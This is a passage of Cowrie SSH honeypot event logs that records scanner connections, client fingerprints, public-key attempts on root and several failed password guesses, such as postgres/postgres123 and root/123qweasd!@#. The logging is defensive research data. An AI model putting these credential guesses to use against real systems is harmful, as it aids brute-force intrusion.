{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:50.828358Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"06:d8:06:6b:30:b3:a5:a6:c4:9f:e5:80:b4:98:81:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtfG4QlRpH8c+W7CFwPiRbG0iA1vyuUToBG3tMO+7aS/RohKk5ikuooA0Ng44LVYjgUmCxZHUN9Sh/RMvk/8P63l5xvfqf2xCCJfyT43NKciUMXmCRKhY+AURHPdektdo7RdKodQt9mY2LeC52qPkKfmTy/R4QXwY53bzVQqqqZuicMhWgwL/Hvu3rgpXUSrSVEU0r2ICMahNzeh1566bMXzath7m+8j+P+h+iWYDjS48N0Z5LTywTRXsvKWo7pT/sIzHH8SupjAUpzq6zJ3fwpO8uv/aOzDYj1YvoD6aBoBXo4YloXs0ZdiCbCVpA5rJWeR0d8Uld8o+NmM5lm1b0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 06:d8:06:6b:30:b3:a5:a6:c4:9f:e5:80:b4:98:81:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.076893Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"06:d8:06:6b:30:b3:a5:a6:c4:9f:e5:80:b4:98:81:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtfG4QlRpH8c+W7CFwPiRbG0iA1vyuUToBG3tMO+7aS/RohKk5ikuooA0Ng44LVYjgUmCxZHUN9Sh/RMvk/8P63l5xvfqf2xCCJfyT43NKciUMXmCRKhY+AURHPdektdo7RdKodQt9mY2LeC52qPkKfmTy/R4QXwY53bzVQqqqZuicMhWgwL/Hvu3rgpXUSrSVEU0r2ICMahNzeh1566bMXzath7m+8j+P+h+iWYDjS48N0Z5LTywTRXsvKWo7pT/sIzHH8SupjAUpzq6zJ3fwpO8uv/aOzDYj1YvoD6aBoBXo4YloXs0ZdiCbCVpA5rJWeR0d8Uld8o+NmM5lm1b0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.082739Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"65:16:2f:e5:2f:23:a7:f9:82:d9:ff:34:99:c9:a6:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJGhp7zMHqcRAWzhjMSnTN5rz6ui8598vejxa8hNiMcGFP6af97l2RgvQnqJMi5A7qKGque2zUM2zMHGHcgqjwCoxq04uffOWE9GL2p23LZnt1YutXwWjlQIxoSeaV/CBrXsCBHKAVE/0723JbLnfzahgPQi6jjpcbAW0UOSc0R0WrE7X57tRkKWWktTFPx08kRaY/5be+++5WwiitJQIG12sfPJi0vCtonpzu8WQ0+dWQ4/vqXiOeDjPoIrwDczKVuiucjGl9lNV5ImBTdxUPsFWf0lOtlc9FDLiv/D3eAI7qECYMB687pAcvTuca8n8oluC+v8nwDxXOO6dBgNef","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 65:16:2f:e5:2f:23:a7:f9:82:d9:ff:34:99:c9:a6:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.137553Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"65:16:2f:e5:2f:23:a7:f9:82:d9:ff:34:99:c9:a6:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJGhp7zMHqcRAWzhjMSnTN5rz6ui8598vejxa8hNiMcGFP6af97l2RgvQnqJMi5A7qKGque2zUM2zMHGHcgqjwCoxq04uffOWE9GL2p23LZnt1YutXwWjlQIxoSeaV/CBrXsCBHKAVE/0723JbLnfzahgPQi6jjpcbAW0UOSc0R0WrE7X57tRkKWWktTFPx08kRaY/5be+++5WwiitJQIG12sfPJi0vCtonpzu8WQ0+dWQ4/vqXiOeDjPoIrwDczKVuiucjGl9lNV5ImBTdxUPsFWf0lOtlc9FDLiv/D3eAI7qECYMB687pAcvTuca8n8oluC+v8nwDxXOO6dBgNef","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.140742Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:e6:7e:59:7f:d1:c0:f2:05:3f:a8:66:99:81:64:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmIkMwLC01ttohjA0UjKSq5ZELW74lf5eOQkz3PUpa34UmboZ2gx6445IURgg94pGMb8mQq3W86WXV7Sggm04HQuRplCa/bQc0hu2cIVKsxsd7yi+Z9uCZGJM3IEaPTQHSQl0+UqvDOP4U5Nrj8SY8pvpdUAUTXwddspobkprvFZ36tRyk2ABqQ2RZrTeu/bgZ+NDAJoazxjFnPceRHAXi5LOwHFYmeLn0ELsxr8Eb9LTHf8oMK4mNFMT7AwveswivpD80rSBubT6msjUxJjaYoeviwnB3YcDURgeb8ROCHEVdMZXgr4PI915Tdqc8Yn/RQHSCTsTPQYAhbHlelmpCQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:e6:7e:59:7f:d1:c0:f2:05:3f:a8:66:99:81:64:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.194279Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:e6:7e:59:7f:d1:c0:f2:05:3f:a8:66:99:81:64:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAmIkMwLC01ttohjA0UjKSq5ZELW74lf5eOQkz3PUpa34UmboZ2gx6445IURgg94pGMb8mQq3W86WXV7Sggm04HQuRplCa/bQc0hu2cIVKsxsd7yi+Z9uCZGJM3IEaPTQHSQl0+UqvDOP4U5Nrj8SY8pvpdUAUTXwddspobkprvFZ36tRyk2ABqQ2RZrTeu/bgZ+NDAJoazxjFnPceRHAXi5LOwHFYmeLn0ELsxr8Eb9LTHf8oMK4mNFMT7AwveswivpD80rSBubT6msjUxJjaYoeviwnB3YcDURgeb8ROCHEVdMZXgr4PI915Tdqc8Yn/RQHSCTsTPQYAhbHlelmpCQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.197499Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:45:28:d4:88:5d:3f:ad:b9:94:51:e8:08:c3:08:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCelI82DuLG8KH7b6RschJGW4JEiHgBSKFC9MCtuXzQBqjDB9GZfndic1Z68JxyReoV8+Qa8vDbomqc2iECre+lbQXud2jEOYk058yLt/dMbWll25ck/zY5+/3KkIHt7o8mqeY8muNjNVVKM3W7r12Tgk0HUpf/+Dz8U1RW4E72D8KgaRgLoNfUxTdaAvEgZ1Fkf5Z3JEnpjEa1OkAqoLvTTlavUoHy6TU/ZFGiGnLFD3GPfO+z8cRiTK8QJdeNwNnZy65SP7jpfef/Idcv3UOv+DFeLG8g8GpTY8e2clYu8sv0F5donWFtNEsgCd30nCeODKfuu22pAESaDHTm9TIJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:45:28:d4:88:5d:3f:ad:b9:94:51:e8:08:c3:08:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.251060Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:45:28:d4:88:5d:3f:ad:b9:94:51:e8:08:c3:08:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCelI82DuLG8KH7b6RschJGW4JEiHgBSKFC9MCtuXzQBqjDB9GZfndic1Z68JxyReoV8+Qa8vDbomqc2iECre+lbQXud2jEOYk058yLt/dMbWll25ck/zY5+/3KkIHt7o8mqeY8muNjNVVKM3W7r12Tgk0HUpf/+Dz8U1RW4E72D8KgaRgLoNfUxTdaAvEgZ1Fkf5Z3JEnpjEa1OkAqoLvTTlavUoHy6TU/ZFGiGnLFD3GPfO+z8cRiTK8QJdeNwNnZy65SP7jpfef/Idcv3UOv+DFeLG8g8GpTY8e2clYu8sv0F5donWFtNEsgCd30nCeODKfuu22pAESaDHTm9TIJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.254379Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fd:63:38:27:8f:1a:d1:92:45:ea:19:b2:72:66:11:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3hh7svqRbIPnn0YEpsZU6p4e2BsedmLbbivqxIDHx2MKMSn7OlRRdnJldpCAf99nqK19pX8iMOBSppZB3B/zDfL93VVDJ6d8ElTxYSjanhnpgZlwAZnDqgI7rM3CJyfRA2qvYkowxpUzt2r7zAWhB1aJUfVmHxnc2nB/qhFxxFrhaKyuUulnMA1p96l54jJ65xPNga3EYpPxe+bIMc+E3jGRCeqYLjvdREAlahf2skBpGitltFuZDQXENaXo3YRQyACP8q/kc1fKGWJkKgMIguqCKWfHWnmeLhMHUUADoG7czCzSgFTdCXYAjfxZDE5mN2p3eGJa4If0uKvkVIpyA609GkKp4dQpfKn6hIXzv7P8+w0U3w2H3stqsQKUGl3fZca9eigp6yZ5ZdFRgIquEIYdS9Fo6IwuTMm5v9wcyxxGBtV15pi4uC+zs1DQBq/GE+2ItswqqZ3uw1jT3SQwPwXFW7wAUlq0kT1T23AFafuJPGc1lgqvLsIlU4i+bOS0kVVR4eYgiRQfSQlvKvE1rg7byT5HgGEjCh93QD8EUubL0JcNrirMGJ6iZrx24h+WreNzGCOQg8c7y1N9JkNETJ8HyAajMAQlF5/rtYKcUOvAdPUeVPndspBwGtaKZfM7Xt8xKRpA8QgSxyeGUbIwmlAHzbgkZRUjitk36HatIKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fd:63:38:27:8f:1a:d1:92:45:ea:19:b2:72:66:11:da","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.308012Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fd:63:38:27:8f:1a:d1:92:45:ea:19:b2:72:66:11:da","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC3hh7svqRbIPnn0YEpsZU6p4e2BsedmLbbivqxIDHx2MKMSn7OlRRdnJldpCAf99nqK19pX8iMOBSppZB3B/zDfL93VVDJ6d8ElTxYSjanhnpgZlwAZnDqgI7rM3CJyfRA2qvYkowxpUzt2r7zAWhB1aJUfVmHxnc2nB/qhFxxFrhaKyuUulnMA1p96l54jJ65xPNga3EYpPxe+bIMc+E3jGRCeqYLjvdREAlahf2skBpGitltFuZDQXENaXo3YRQyACP8q/kc1fKGWJkKgMIguqCKWfHWnmeLhMHUUADoG7czCzSgFTdCXYAjfxZDE5mN2p3eGJa4If0uKvkVIpyA609GkKp4dQpfKn6hIXzv7P8+w0U3w2H3stqsQKUGl3fZca9eigp6yZ5ZdFRgIquEIYdS9Fo6IwuTMm5v9wcyxxGBtV15pi4uC+zs1DQBq/GE+2ItswqqZ3uw1jT3SQwPwXFW7wAUlq0kT1T23AFafuJPGc1lgqvLsIlU4i+bOS0kVVR4eYgiRQfSQlvKvE1rg7byT5HgGEjCh93QD8EUubL0JcNrirMGJ6iZrx24h+WreNzGCOQg8c7y1N9JkNETJ8HyAajMAQlF5/rtYKcUOvAdPUeVPndspBwGtaKZfM7Xt8xKRpA8QgSxyeGUbIwmlAHzbgkZRUjitk36HatIKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.313125Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:51.366970Z","src_ip":"199.127.63.58","session":"ef081c99a51c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":52226,"dst_ip":"159.203.135.109","dst_port":22,"session":"819a3f2d8c70","protocol":"ssh","message":"New connection: 160.187.174.22:52226 (159.203.135.109:22) [session: 819a3f2d8c70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:53.219064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:53.223273Z","src_ip":"160.187.174.22","session":"819a3f2d8c70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:53.464382Z","src_ip":"160.187.174.22","session":"819a3f2d8c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:54.202711Z","src_ip":"160.187.174.22","session":"819a3f2d8c70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.200.19","src_port":58608,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4d26ed4e471","protocol":"ssh","message":"New connection: 43.160.200.19:58608 (159.203.135.109:22) [session: a4d26ed4e471]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:54.289025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:54.295295Z","src_ip":"43.160.200.19","session":"a4d26ed4e471","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:54.528841Z","src_ip":"43.160.200.19","session":"a4d26ed4e471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:55.448699Z","src_ip":"160.187.174.22","session":"819a3f2d8c70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweasd!@#","message":"login attempt [root/123qweasd!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:55.510669Z","src_ip":"43.160.200.19","session":"a4d26ed4e471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:18:56.754442Z","src_ip":"43.160.200.19","session":"a4d26ed4e471","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.921565771102905,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:06.040984Z","src_ip":"170.64.224.25","session":"34663b7ed967","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.77648425102234,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:09.968686Z","src_ip":"170.64.224.25","session":"ca35ce568a37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":53452,"dst_ip":"159.203.135.109","dst_port":22,"session":"af23082494ec","protocol":"ssh","message":"New connection: 192.169.197.250:53452 (159.203.135.109:22) [session: af23082494ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:13.471618Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:13.475819Z","src_ip":"192.169.197.250","session":"af23082494ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:13.563556Z","src_ip":"192.169.197.250","session":"af23082494ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale2024","message":"login attempt [skale/skale2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:13.801872Z","src_ip":"192.169.197.250","session":"af23082494ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:14.869494Z","src_ip":"192.169.197.250","session":"af23082494ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":53428,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c015c2f561c","protocol":"ssh","message":"New connection: 160.187.174.22:53428 (159.203.135.109:22) [session: 7c015c2f561c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:20.893363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T04:19:20.897500Z","src_ip":"160.187.174.22","session":"7c015c2f561c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 